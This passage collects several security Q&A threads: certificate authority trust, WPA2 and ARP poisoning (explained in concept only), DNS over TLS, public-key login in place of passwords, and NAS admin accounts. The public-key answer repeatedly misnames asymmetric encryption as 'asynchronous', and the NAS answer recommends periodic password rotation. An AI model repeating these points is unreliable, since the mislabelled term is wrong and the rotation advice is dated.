Careful though: many CAs will just automatically validate ownership of the domain (Let's Encrypt does this for free, for instance). To cut things short, let's say this: if free domain auto-validation is not good enough for you, look into Cloudflare or just forget commercial CAs and manually issue certificates to your own clients.

If you're the client instead, flip the question around: ask the other side which CAs they trust, possibly add RapidSSL or DigiCert to their list, and make sure the list is sent.


Is WPA2 WiFi protected against ARP poisoning and sniffing? Is WPA2 WiFi protected against ARP poisoning? If not, can the ARP poisoner decrypt the packets?

WPA2 is NOT protected against ARP poisoning.

When you perform ARP poisoning, you announce that your MAC address is responsible for a given IP address. All of this happens at a layer higher than WPA2 is aware of. Let's say layer 3. Because the WPA2 encryption link is down on layer 2, and packets destined for the attacked IP are now addressed to the attacker's MAC address on layer 2, they will be encrypted for the attacker.

Edit: Also, one should be aware of "Hole 196".


third party DNS over ISP DNS - privacy issue How does using third party DNS like cloudfare 1.1.1.1 DNS helps to protect privacy when ultimately ALL traffics goes through ISP? ISP is the middle man between me and the internet. Since DNS is in plain-text and all traffic goes through ISP, thus they are still able to see the request. Only at HTTPS level they cant see anything at all. Am i missing something?

Cloudflare's 1.1.1.1 setup supports DNS over TLS as can be read on their website, so that traffic can be encrypted and thus not visible to your ISP.


Public Key Encryption instead of passwords As an alternative to using passwords, customers could be provided with individual asymmetric-encryption key pairs (i.e. a private key with associated public key), which could be used to validate their identity on login.

Can someone tell me if this would be a good idea and what would be the disadvantages of this approach?

It's generally a good idea...

Asynchronous encryption comes with the advantage of not needing someone to remember a complex password. This is an upside because people tend to choose passwords that aren't complex or if they are forced to use passwords that are technically complex but are for real made up from their name, company name, some birth date and a random special char.

... But there are still some things you should think about.

Asynchronous encryption requires awareness too

You can of course give someone a pair of keys and a software that uses these keys but this won't make the connection more secure in any case. This is because in asynchronous encryption you need to keep the private key private but most people out there don't even know what asynchronous encryption is and they for sure don't know what a private key is and why they should hide it from other people. You need to educate them so they don't give the private key to anyone asking for it without knowing what it is or even putting it on a PC that is publicly accessible.

Asynchronous encryption needs to be implemented in a useable way

It relies on your audience if and how you can use it. If its mainly tech guys you can use it for sure and also in a way that requires some knowledge but if your audience is made up of people who think a String is a piece of underwear for women you might get in trouble using it.

You can observe this when it comes to online banking in the business area. Every time there is a new accountant who needs access to the online banking system they will call the IT guy because they aren't able to follow the instructions given by their bank to configure the client software which uses async encryption. So you'd better make it easy to exchange or update key pairs.


Should I have two accounts in my NAS (ex.: Bob as user and Poseidon as admin, both controlled by me)? I have a Synology NAS running in a SOHO network and I'd like to maintain it secure. First thing I did was disable the default admin and guest accounts, second I created some accounts and this is what I currently have:

Bob (this is me): admin + user roles
Charlie: user role
Dana: user role

I use the account Bob on a daily basis and I don't like the idea of using an admin account this way so I was thinking about creating a new admin user that will only be controlled by me and have the following structure:

Poseidon (this is me): admin role
Bob (this is me): user role
Charlie: user role
Dana: user role

Is this the right way to handle the situation?

This seems like a reasonable practice. Just be sure that the password on the two accounts Bob has access to are different and that both (but especially the admin account) accounts have strong/complex passwords.

Also don't forget to rotate passwords periodically.